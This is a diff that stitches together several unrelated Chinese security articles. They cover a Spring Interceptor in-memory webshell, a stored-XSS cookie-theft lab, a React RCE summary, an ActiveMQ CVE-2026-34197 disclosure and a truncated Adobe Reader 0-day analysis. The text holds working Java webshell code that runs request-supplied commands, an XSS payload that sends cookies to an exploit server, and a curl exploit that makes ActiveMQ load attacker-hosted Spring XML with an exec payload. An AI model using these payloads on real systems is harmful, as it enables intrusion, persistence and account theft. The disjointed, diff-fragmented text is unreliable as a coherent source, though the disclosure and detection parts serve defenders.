|
||||
|
||||
**添加完成之后，回到**
|
||||
mapping.setInterceptors**调用方法的地方：而这里的mapping是一个RequestMappingHandlerMapping对象，它是AbstractHandlerMapping类的子子类。**
|
||||
|
||||
|
||||
|
||||
通过setInterceptors()方法赋值给interceptors了，**这样该对象RequestMappingHandlerMapping就拥有了一个有值的interceptors属性了**
|
||||
，如下图：
|
||||
|
||||
|
||||
|
||||
这个赋值的地方，前面已经看到过了，这样就完成了初始化的过程。将项目文件中写好的Interceptor加载到interceptors中了。当前应用启动之后this.interceptors就拥有了我们配置好的TestInterceptor对象。
|
||||
|
||||
然后通过initInterceptors()方法，将**interceptors的值，传递给adaptedInterceptors属性**
|
||||
|
||||
|
||||
|
||||
就这样**对象RequestMappingHandlerMapping就拥有了一个有值的interceptors属性了和一个adaptedInterceptors属性，**
|
||||
整个赋值流程已经很清晰了。
|
||||
|
||||
**小结**
|
||||
|
||||
**初始化阶段：通过WebMvcConfigurationSupport类的RequestMappingHandlerMapping()方法创建了一个RequestMappingHandlerMapping对象，并对其属性interceptors进行初始化赋值。并通过interceptors对adaptedInterceptors属性添加Interceptor。**
|
||||
|
||||
**request阶段：那么在发起request请求的时候，只需要这个adaptedInterceptors属性中存在的过滤器，就会将其值传递给一个interceptorList变量，然后逐一执行各个元素对应的preHandle重写方法，所以现在想办法动态添加恶意Interceptor对象到adaptedInterceptors中即可。**
|
||||
|
||||
**疑问：这里两个属性interceptors属性了和一个adaptedInterceptors均存放了Interceptor对象，为什么选择adaptedInterceptors，而不是interceptors属性，主要是因为在request阶段，interceptorList这个变量的数据来源是adaptedInterceptors它而不是interceptors，尽管adaptedInterceptors是通过interceptors得到的。如下图：**
|
||||
|
||||
|
||||
|
||||
**内存马实现**
|
||||
|
||||
**前提回顾：**
|
||||
重点是获取adaptedInterceptors这个属性，其实前面已经清楚了，在spring启动的时候，通过新建一个RequestMappingHandlerMapping对象，然后对adaptedInterceptors属性进行了初始化的赋值。
|
||||
|
||||
|
||||
|
||||
而这个属性是其父类AbstractHandlerMapping持有的属性，为List类型。
|
||||
|
||||
而这个属性为私有，所以需要通过反射获取。
|
||||
|
||||
|
||||
|
||||
所以只需要持有RequestMappingHandlerMapping对象，即可拥有对adaptedInterceptors属性的操作权限。而RequestMappingHandlerMapping对象已经很熟悉了，在controller内存马中已经知道可以通过ApplicationContext获取。
|
||||
|
||||
直接开始写内存马实现代码了！
|
||||
|
||||
**内存马代码实现**
|
||||
|
||||
比如通过漏洞在已有的Controller中植入触发代码，或者获得服务器的代码执行权限：这里假设新建一个TestController.java是存在的controller：代码如下：逐行注释
|
||||
```
|
||||
package com.example.demo.demos.web;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.context.WebApplicationContext;
|
||||
import org.springframework.web.context.request.RequestContextHolder;
|
||||
import org.springframework.web.context.request.ServletRequestAttributes;
|
||||
import org.springframework.web.servlet.DispatcherServlet;
|
||||
import org.springframework.web.servlet.HandlerInterceptor;
|
||||
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
|
||||
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.List;
|
||||
@RestController
|
||||
public class TestController {
|
||||
@RequestMapping(value = "/test")
|
||||
public String test(){
|
||||
System.out.println("test执行");
|
||||
return "test!!!";
|
||||
}
|
||||
@RequestMapping(value = "/injectIn")
|
||||
public String injectInter() throws NoSuchFieldException, IllegalAccessException {
|
||||
//通过RequestContextHolder获取servletRequestAttributes对象
|
||||
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
|
||||
if (servletRequestAttributes != null) {
|
||||
//获取HttpServletRequest对象，该章节开头做过解释
|
||||
HttpServletRequest request = servletRequestAttributes.getRequest();
|
||||
//通过属性：DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE 获取WebApplicationContext对象
|
||||
//这里得到了我们需要的context了
|
||||
WebApplicationContext webApplicationContext = (WebApplicationContext) request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
|
||||
//调用它的getBean()方法按类型获取，获取RequestMappingHandlerMapping对象,因为registerMapping方法是RequestMappingHandlerMapping这个对象的方法，它继承至HandlerMapping
|
||||
RequestMappingHandlerMapping handlerMapping = (RequestMappingHandlerMapping)webApplicationContext.getBean(RequestMappingHandlerMapping.class);
|
||||
//获取父类的属性AbstractHandlerMapping持有两个属性adaptedInterceptors和interceptors
|
||||
Field interceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
|
||||
interceptors.setAccessible(true);//private属性设置可访权限
|
||||
List listInterceptors = (List) interceptors.get(handlerMapping);//强转List属性
|
||||
listInterceptors.add(new TestInterceptor());
|
||||
}
|
||||
return "succeed！！";
|
||||
}
|
||||
public class TestInterceptor implements HandlerInterceptor {//实现接口，恶意Interceptor类
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
String cmd = request.getParameter("cmd");//执行命令参数
|
||||
if (cmd !=null){
|
||||
Process process = Runtime.getRuntime().exec(cmd);//执行cmd命令
|
||||
// 读取输出
|
||||
java.io.InputStream input = process.getInputStream();//获取命令结果的输入流
|
||||
java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");//将该输入流放入Scanner读取内容
|
||||
String output = scanner.hasNext() ? scanner.next() : "命令执行完成，但无输出";//逐行获取执行结果
|
||||
scanner.close();
|
||||
// 等待进程完成
|
||||
process.waitFor();
|
||||
response.getWriter().println(output);//通过response返回输出结果至前端
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
删除之前的测试代码，只留下TestController.java文件，启动项目：
|
||||
|
||||
访问：http://127.0.0.1:8080/injectIn
|
||||
|
||||
|
||||
|
||||
看到成功提示应该就可以了，然后尝试执行命令：访问任意页面，均可http://127.0.0.1:8080/iadfa?cmd=whoami
|
||||
|
||||
|
||||
|
||||
命令执行成功，虽然页面404，但是不影响执行。
|
||||
|
||||
**总结**
|
||||
|
||||
**Interceptor内存马的利用流程：Interceptor内存马通常通过应用漏洞进行植入，主要写入位置包括利用现有Controller添加恶意方法、创建新的恶意Controller类，或通过其他漏洞动态注册。攻击者借助反序列化、文件上传、表达式注入等漏洞将恶意Interceptor代码注入到Spring容器中，实现无文件落地驻留。动态将恶意Interceptor添加到处理链，通过特定条件激活恶意功能， 内存马在应用生命周期内持续有效。**
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
# 【登录背后的秘密-第六章第二节】什么！Stay-logged-in Cookie没加盐？还有XSS漏洞？那我就不客气了
|
||||
原创 升斗安全XiuXiu
|
||||
升斗安全XiuXiu 升斗安全 2026-04-12 23:56
|
||||
|
||||
**【文章说明】**
|
||||
- **目的**
|
||||
：本文内容仅为网络安全**技术研究与教育**
|
||||
目的而创作。
|
||||
|
||||
- **红线**
|
||||
：严禁将本文知识用于任何**未授权**
|
||||
的非法活动。使用者必须遵守《网络安全法》等相关法律。
|
||||
|
||||
- **责任**
|
||||
：任何对本文技术的滥用所引发的**后果自负**
|
||||
，与本公众号及作者无关。
|
||||
|
||||
- **免责**
|
||||
：内容仅供参考，作者不对其准确性、完整性作任何担保。
|
||||
|
||||
**阅读即代表您同意以上条款。**
|
||||
|
||||
****
|
||||
你有没有想过，在某些极端情况下，攻击者能直接从
|
||||
Cookie里捞出你的明文密码？本文通过一个有趣的实验，带你一步步复现这个过程——
|
||||
从XSS漏洞窃取Cookie，到利用搜索引擎“反查”哈希值，最后成功登录并删除受害者账户。整个过程既像侦探破案，又像黑客版的“寻宝游戏”。读完你会发现，加盐这件事，真的不能偷懒。
|
||||
|
||||
开头先讲个“离谱”的真实情况
|
||||
|
||||
在某些罕见的场景下，即便密码被哈希处理了，攻击者依然有可能从Cookie里直接拿到明文密码。
|
||||
|
||||
为啥？因为网上随便一搜就能找到常见密码的哈希对照表。如果用户恰好用了那种“烂大街”的密码，你把哈希值往搜索引擎里一贴——好家伙，答案直接糊你脸上。
|
||||
|
||||
这也解释了为啥在正经的加密机制里，
|
||||
加盐这件事儿，比上班打卡还重要。
|
||||
|
||||
废话不多说，我们直接上实操案例！
|
||||
|
||||
第一步：用自己的账号探路
|
||||
|
||||
开着Burp，登录你自己的账号，顺手勾选“保持登录”功能。
|
||||
|
||||
留意那个叫
|
||||
stay-logged-in 的Cookie，它看起来像一串乱码——其实是
|
||||
Base64编码过的。
|
||||
|
||||
第二步：解剖Cookie的结构
|
||||
|
||||
在Burp的 Proxy > HTTP history 里，找到登录请求对应的响应包，高亮选中那个Cookie，你会发现它的真身长这样：
|
||||
|
||||
用户名 + ':' + 密码的MD5哈希值
|
||||
|
||||
|
||||
|
||||
没错，就是这么简单粗暴。
|
||||
|
||||
第三步：XSS偷家
|
||||
|
||||
目标用户的Cookie怎么搞到手？巧了，评论区有个存储型XSS漏洞。
|
||||
|
||||
我们只需要发一条评论，内容如下（记得把里面的ID换成你自己的漏洞利用服务器ID）：
|
||||
```
|
||||
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
|
||||
```
|
||||
|
||||
这行代码的意思很简单：谁看了这条评论，谁的
|
||||
Cookie就被偷偷发到你的服务器上。
|
||||
|
||||
|
||||
|
||||
第四步：坐等猎物上钩
|
||||
|
||||
回到你的漏洞利用服务器，打开访问日志。
|
||||
|
||||
过一会儿，你应该能看到一条来自受害者的GET请求，路径里明晃晃地带着他的 stay-logged-in Cookie。
|
||||
|
||||
|
||||
|
||||
第五步：解码，然后“搜索引擎大法”
|
||||
|
||||
把偷来的Cookie丢进Burp Decoder解码，你会得到类似这样的东西：
|
||||
|
||||
carlos:26323c16d5f4dabff3bb136f2460a943
|
||||
|
||||
复制哈希值
|
||||
26323c16d5f4dabff3bb136f2460a943，粘贴到哈希解码工具中。
|
||||
|
||||
奇迹发生了——解码结果告诉你：密码是
|
||||
onceuponatime。
|
||||
|
||||
第六步：收尾工作
|
||||
|
||||
拿着账号 carlos 和密码 onceuponatime 登录，进到“我的账户”页面，收工。
|
||||
|
||||
一个小小但重要的提醒
|
||||
|
||||
这个案例是演示离线破解密码的潜在风险。在一些场景中，攻击者多半会用
|
||||
hashcat 之类的专业工具去跑字典，所以要结合实际的系统内容来选择靠谱的工具。
|
||||
|
||||
安全无小事，尤其是密码存储这一块。一个小小的“
|
||||
加盐”动作，就能让上面这套攻击手法彻底失效。
|
||||
|
||||
如果你觉得这篇文章有意思，或者想了解更多渗透测试的骚操作，欢迎关注、点赞、分享三连～
|
||||
|
||||
评论区聊聊：你还见过哪些离谱的Cookie设计？
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# 【视频】React 服务器函数原型污染 (RCE)
|
||||
黑白之道 2026-04-13 02:02
|
||||
|
||||
|
||||
|
||||
|
||||
> **文章来源：**
|
||||
|
||||
|
||||
|
||||
### 这个视频值得研究，主要是：当前现代 Web 框架（如 Next.js）中 服务器组件（RSC） 与 客户端运行时 之间序列化机制的安全性边界
|
||||
|
||||
###
|
||||
|
||||
|
||||
### 1. 漏洞基本信息
|
||||
- **CVE 编号**
|
||||
：CVE-2025-55182
|
||||
|
||||
- **威胁等级**
|
||||
：关键 (Critical)
|
||||
|
||||
- **影响范围**
|
||||
：主要影响集成了 React Server Functions 的框架，尤其是 Next.js 在特定版本下的实现。
|
||||
|
||||
- **漏洞类型**
|
||||
：原型污染 (Prototype Pollution) 导致的远程代码执行 (RCE)。
|
||||
|
||||
### 2. 技术原理分析
|
||||
|
||||
该漏洞的核心在于 React 在处理服务器端与客户端之间的数据序列化（Serialization）和反序列化（Deserialization）时，未能正确校验特殊属性。
|
||||
- **注入点**
|
||||
：攻击者通过精心构造的 JSON 载荷（Payload）发送至服务器函数。
|
||||
|
||||
- **攻击路径**
|
||||
：
|
||||
|
||||
- 攻击者在请求中包含 __proto__
|
||||
或 constructor.prototype
|
||||
属性。
|
||||
|
||||
- React 的服务器端逻辑在解析这些输入并将其传递给服务器函数时，发生了原型污染。
|
||||
|
||||
- 由于 Node.js 环境中许多核心库和全局对象依赖于原型链，攻击者可以篡改全局对象的行为。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
# 与Claude共处的10分钟：深挖Apache ActiveMQ远程代码执行漏洞（CVE-2026-34197）
|
||||
horizon3
|
||||
horizon3 赛博知识驿站 2026-04-13 01:30
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
ActiveMQ虚拟机传输利用过程，展示了代理的创建及加载攻击者控制的配置
|
||||
## 概述
|
||||
|
||||
CVE-2026-34197
|
||||
是一个在Apache ActiveMQ Classic
|
||||
中存在长达13年的远程代码执行（RCE）漏洞。攻击者仅需通过ActiveMQ的Jolokia API调用特定管理操作，即可诱导代理获取远程配置文件，进而执行任意系统命令。
|
||||
|
||||
这个漏洞本身需要认证，但现实中默认凭据（admin:admin
|
||||
）满天飞，这让防线形同虚设。更让人捏把汗的是，在某些版本（6.0.0–6.1.1）中，由于另一个漏洞CVE-2024-32114
|
||||
的存在，Jolokia
|
||||
API竟然无需认证即可访问。这意味着在这些版本上，CVE-2026-34197
|
||||
直接化身为未经认证的RCE，该漏洞可能导致严重的安全风险。
|
||||
|
||||
ActiveMQ历来是攻击者眼中的香饽饽，无论是曾影响Web控制台的CVE-2016-3088
|
||||
，还是打击代理端口的CVE-2023-46604
|
||||
，都已被收入CISA的已知被利用漏洞（KEV）名单。这次的问题同样不容小觑，官方已在ActiveMQ 6.2.3和5.19.4版本中完成了修复。
|
||||
## 背景
|
||||
|
||||
作为2004年就问世的开源Java消息代理，Apache ActiveMQ堪称中间件领域的老将。在金融、医疗、政务和电商等分布式系统中，它无处不在，负责解耦服务和管理消息队列。
|
||||
|
||||
ActiveMQ有两个分支：元老级的ActiveMQ Classic，以及后起之秀ActiveMQ Artemis。本次的“受害者”仅限于Classic。
|
||||
|
||||
Classic代理默认在8161端口运行着一个基于Jetty的Web管理控制台。控制台里内置了Jolokia
|
||||
——一个HTTP到JMX的桥梁，它将原本复杂的代理管理操作封装成了优雅的REST API。
|
||||
|
||||
|
||||
|
||||
展示通过addNetworkConnector利用ActiveMQ Jolokia API触发远程代码执行的示意图
|
||||
|
||||
时间回到2023年，ThreatBook的研究人员披露了CVE-2022-41678
|
||||
：攻击者通过Jolokia
|
||||
调用FlightRecorder
|
||||
等JDK MBeans，就能向磁盘写入Webshell。当时的修复策略是一刀切——默认将Jolokia
|
||||
限制为只读，并拉黑了危险的MBeans。但为了让Web控制台正常运作，官方给ActiveMQ自身的MBeans开了一个“绿灯”，无脑放行了所有操作：
|
||||
```
|
||||
<allow> <mbean> <name>org.apache.activemq:*</name> <attribute>*</attribute> <operation>*</operation> </mbean></allow>
|
||||
```
|
||||
|
||||
而CVE-2026-34197
|
||||
的精妙之处，恰恰在于绕过了那层防御，直接利用了ActiveMQ自己的MBeans。
|
||||
## 漏洞解析
|
||||
|
||||
配置中那句<operation>*</operation>
|
||||
，意味着通过Jolokia
|
||||
可以调用ActiveMQ MBeans上的任何操作。研究人员敏锐地捕捉到，代理MBean上的addNetworkConnector(String)
|
||||
操作，竟然有一条通往代码执行的暗道。
|
||||
|
||||
ActiveMQ支持将多个代理组成网络，以实现负载均衡和高可用。addNetworkConnector
|
||||
的作用就是在运行时建立代理间的桥梁，只要给它一个发现URI，它就会建立网络连接。
|
||||
|
||||
这里的关键在于ActiveMQ的VM传输协议（vm://
|
||||
）。这是一种进程内传输，原本是为嵌入式代理设计的，客户端和代理在同一个JVM内直接通过方法调用通信，无需走TCP。这个设计的初衷是为了单元测试的效率，属于轻量级玩法。
|
||||
|
||||
但惊险的转折来了：当vm://
|
||||
URI引用了一个不存在的代理时，ActiveMQ默认会自动创建一个，并且它还接受一个brokerConfig
|
||||
参数，用来指定加载配置的路径——包括攻击者可控的远程URL。
|
||||
|
||||
通过Jolokia
|
||||
调用addNetworkConnector
|
||||
并传入精心构造的URI，攻击者就能将这些机制首尾相连，让代理去抓取并执行远程的Spring XML配置文件：
|
||||
```
|
||||
curl -s -X POST http://TARGET:8161/api/jolokia/ \ -H "Content-Type: application/json" \ -H "Origin: http://TARGET:8161" \ -u admin:admin \ -d '{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addNetworkConnector", "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"] }'
|
||||
```
|
||||
|
||||
当vm://
|
||||
传输协议发现代理名不存在时，就会调用BrokerFactory.createBroker()
|
||||
，带上了攻击者控制的xbean:http://..
|
||||
URL。xbean:
|
||||
方案告诉ActiveMQ将其视为Spring XML配置，并交给Spring的ResourceXmlApplicationContext
|
||||
处理。这会实例化所有的bean定义，远程代码执行由此发生。
|
||||
|
||||
比如，下面这段载荷XML利用了Spring的MethodInvokingFactoryBean
|
||||
，调用Runtime.getRuntime().exec()
|
||||
来执行任意命令：
|
||||
```
|
||||
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject"> <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Runtime"/> <property name="targetMethod" value="getRuntime"/> </bean> </property> <property name="targetMethod" value="exec"/> <property name="arguments"> <list> <array value-type="java.lang.String"> <value>/bin/bash</value> <value>-c</value> <value>COMMAND_HERE</value> </array> </list> </property></bean>
|
||||
```
|
||||
|
||||
这与CVE-2023-46604
|
||||
的攻击手法如出一辙，都是通过加载远程Spring XML配置文件来实现RCE。
|
||||
|
||||
|
||||
|
||||
ActiveMQ虚拟机传输利用过程，展示了代理的创建及加载攻击者控制的配置
|
||||
## 部分版本无需认证（CVE-2024-32114）
|
||||
|
||||
上述利用需要Jolokia端点的认证，但在某些ActiveMQ版本中，这道门是敞开的。
|
||||
|
||||
CVE-2024-32114
|
||||
是ActiveMQ 6.x中的一个独立漏洞，包含Jolokia
|
||||
端点的/api/*
|
||||
路径竟被意外地从Web控制台的安全约束中移除了。这意味着在6.0.0到6.1.1版本中，Jolokia
|
||||
是完全无需认证的，该漏洞暴露了系统的潜在弱点。
|
||||
|
||||
在这些版本上，CVE-2026-34197
|
||||
直接演变成了未经认证的远程代码执行。
|
||||
|
||||
|
||||
|
||||
使用Spring配置执行系统命令的载荷示例
|
||||
## 修复建议
|
||||
|
||||
官方已在ActiveMQ Classic 5.19.4和6.2.3版本中修复了此漏洞。补丁直接移除了addNetworkConnector
|
||||
操作添加vm://
|
||||
传输的能力，因为这本来就不该作为远程操作暴露出来。除了升级到最新版本，务必确保系统中不存在默认凭据。
|
||||
## 检测方法
|
||||
|
||||
漏洞利用会在ActiveMQ代理日志中留下清晰的痕迹。正常运营中绝不会出现引用了brokerConfig=xbean:http
|
||||
的vm://
|
||||
URI网络连接器活动，请重点排查：
|
||||
```
|
||||
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] startedINFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xmlWARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService instance for resource: xbean:http://X.X.X.X:8888/payload.xml...INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped
|
||||
```
|
||||
|
||||
代理通常会在网络连接器停止前重复几次连接尝试。需要注意的是，命令执行发生在连接尝试期间——当那条关于配置失败的WARN
|
||||
日志出现时，载荷早已跑完了。
|
||||
|
||||
其他值得关注的指标：
|
||||
- • 请求体中包含addNetworkConnector
|
||||
且发往/api/jolokia/
|
||||
的POST请求
|
||||
|
||||
- • ActiveMQ代理进程向意外主机发出的出站HTTP请求
|
||||
|
||||
- • ActiveMQ Java进程派生出的意外子进程
|
||||
|
||||
## 发现过程
|
||||
|
||||
如今在做漏洞挖掘时，研究人员总是会先让Claude过一遍源码。只需简单的提示，再在网络上部署一个目标让其验证，往往能发现一些有趣的端倪，虽然多数时候离可报告的CVE还差口气。但这一次，Claude的表现堪称惊艳，仅凭几个基础提示就完成了任务。这其中有80%的功劳属于Claude，人类研究员只需做20%的锦上添花。
|
||||
|
||||
事后复盘，这个漏洞似乎显而易见，但也能理解为何多年未被察觉。它涉及了多个随时间独立发展的组件：Jolokia
|
||||
、JMX
|
||||
、网络连接器和VM传输。孤立地看，每个功能都在各司其职，但组合在一起却产生了危险的化学反应。这正是Claude大放异彩的地方——它以毫无偏见、清空假设的头脑，高效地将这条路径从头到尾串联起来。人类手动可能需要一周的工作，Claude只用了10分钟。
|
||||
|
||||
好消息是，像Claude这样的工具已向大众开放，强烈建议安全工程师和开发者善加利用。随着最新模型的迭代，漏洞挖掘，尤其是低复杂度漏洞的发现门槛，在过去半年里呈指数级下降。任何有安全背景的人，都能借此乘风破浪。
|
||||
|
||||
作为参考，这里是研究人员在许多项目中常用的起步提示词：
|
||||
```
|
||||
Analyze this code base for vulnerabilities that can be exploited by a user with no prior privileges.- Enumerate any endpoints accessible to an unauthenticated, guest, or anonymous user.- Research prior commits and prior vulnerabilities to identify hot spots in the code.- Analyze the code, focusing on these vulnerability classes: - RCE: command injection, deserialization, arbitrary file upload , code injection, SSTI - Authentication Bypass: consider built-in auth, SAML, OAuth2, LDAP; password reset logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion - Broken access control: missing authentication/authorization checks - Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling - SSRF: full-read and blind, consider redirect handling and DNS rebinding - XXE - SQLi: also consider second order SQLi - Important misconfigurations: default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker- Call out any notable bad code smells for further reviewIgnore the following vuln classes:- XSS- CSRF- Open Redirect- Any denial of service (DOS)
|
||||
```
|
||||
## 时间线
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">日期</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">2026/03/22</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Horizon3向Apache报告漏洞</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">2026/03/26</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Apache ActiveMQ团队确认报告并分配CVE</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">2026/03/30</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">ActiveMQ Classic 6.2.3版本发布</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">2026/04/06</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Apache ActiveMQ发布安全公告</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">2026/04/07</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2026-34197</span></code><section><span leaf="">详情公布</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">2026/04/07</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">本文发布</span></section></td></tr></tbody></table>
|
||||
## 参考链接
|
||||
- • Apache ActiveMQ CVE-2026-34197 安全公告[1]
|
||||
|
||||
- • CVE-2022-41678 — 之前的Jolokia执行漏洞[2]
|
||||
|
||||
- • CVE-2024-32114 — 未经认证的Jolokia访问[3]
|
||||
|
||||
- • CVE-2023-46604 — OpenWire反序列化RCE (CISA KEV)[4]
|
||||
|
||||
- • CVE-2016-3088 — Fileserver任意文件写入 (CISA KEV)[5]
|
||||
|
||||
> 原文:https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
|
||||
|
||||
#### 引用链接
|
||||
|
||||
[1]
|
||||
Apache ActiveMQ CVE-2026-34197 安全公告: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
|
||||
[2]
|
||||
CVE-2022-41678 — 之前的Jolokia执行漏洞: https://nvd.nist.gov/vuln/detail/CVE-2022-41678
|
||||
[3]
|
||||
CVE-2024-32114 — 未经认证的Jolokia访问: https://nvd.nist.gov/vuln/detail/CVE-2024-32114
|
||||
[4]
|
||||
CVE-2023-46604 — OpenWire反序列化RCE (CISA KEV): https://nvd.nist.gov/vuln/detail/CVE-2023-46604
|
||||
[5]
|
||||
CVE-2016-3088 — Fileserver任意文件写入 (CISA KEV): https://nvd.nist.gov/vuln/detail/CVE-2016-3088
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
# 实战分析——一起0day附件邮件攻击真实案例的深度技术拆解
|
||||
原创 网际思安
|
||||
网际思安 网际思安 2026-04-13 00:01
|
||||
|
||||
## 一、事件：一封邮件，差点让整个公司瘫痪
|
||||
|
||||
|
||||
|
||||
前几个月，某物流企业IT部门收到一封来自"合作方"的邮件，附件是一份英语和俄语混杂的物流合同文本。财务小王像往常一样点开——**仅仅因为打开了一个PDF文件，该企业内网被黑客渗透长达数月。**
|
||||
|
||||
这不是虚构的故事。这是2026年4月，安全研究人员捕获的真实攻击。攻击者利用Adobe Reader的一个尚未被修复的零日漏洞，通过一封简单的邮件附件，成功对目标计算机进行了长达数月的情报窃取。
|
||||
|
||||
今天，小思带大家从**技术角度**
|
||||
，深度拆解这个攻击的全貌。
|
||||
## 二、攻击技术解析：漏洞如何被利用的？
|
||||
### 2.1 漏洞本身：藏在Javascript里的"后门"
|
||||
|
||||
根据安全研究员的分析，这次攻击的核心是一个存在于Adobe Reader某Javascript运行零日漏洞。
|
||||
|
||||
**什么是零日漏洞？**
|
||||
|
||||
说白了就是：软件开发者还不知道、还没修复，但攻击者已经发现并在使用的安全缺陷。由于没有已知特征码，传统杀毒软件对此类攻击完全"看不见"。
|
||||
|
||||
据报道，这个漏洞至少从2025年11月就被攻击者开始利用，直到2026年4月才被安全社区发现。这意味着**攻击者利用这个漏洞已经活跃了至少4个月**
|
||||
。
|
||||
### 2.2 攻击链条分析
|
||||
|
||||
让我们还原整个攻击的技术过程：
|
||||
```
|
||||
邮件发送 → PDF附件 → 用户打开PDF → JavaScript自动执行 → 信息收集 → 远程传输
|
||||
```
|
||||
|
||||
**第一步：钓鱼邮件的精准投递**
|
||||
|
||||
攻击者发送带有精心构造主题的邮件，附件是一个嵌入恶意JavaScript代码的PDF文件。研究人员分析发现，该PDF专门要求用Adobe Acrobat Reader打开——这说明攻击者对目标环境有明确预判。当用户通过非Adobe软件比如浏览器打开时，会显示"需要在Adobe中打开"的弹窗，并模糊化背后内容。
|
||||
|
||||
|
||||
|
||||
只有在Adobe软件中，文件弹窗会自动被移除，并清楚显示其中的内容。
|
||||
|
||||
|
||||
|
||||
**第二步：JavaScript代码的自动执行**
|
||||
|
||||
关键来了：当PDF被Adobe Reader打开时，嵌入其中的被混淆JavaScript代码会自动执行。这是Adobe Reader的一个内置功能，却也成了攻击者的突破口。
|
||||
|
||||
|
||||
|
||||
代码初始会偷偷收集以下操作系统和环境信息，包括语言、版本，文件信息等：
|
||||
|
||||
|
||||
|
||||
**第三步：静默数据外传**
|
||||
|
||||
收集完这些信息后，恶意JavaScript会把数据发送到攻击者控制的远程服务器。整个过程没有任何弹窗或异常提示，**用户完全感知不到自己已被入侵**
|
||||
。安全研究人员将这称为"**零点击攻击**
|
||||
"——用户只需正常打开文件，攻击就会自动完成。
|
||||
|
||||
上传这些系统信息后，每隔500ms接收来自服务器的指令。一旦接受到指令，便开始解密解压载荷，实行任意代码执行或者文件窃取等进一步行为。
|
||||
|
||||
|
||||
### 2.3 技术关键点：为什么传统防御失效？
|
||||
|
||||
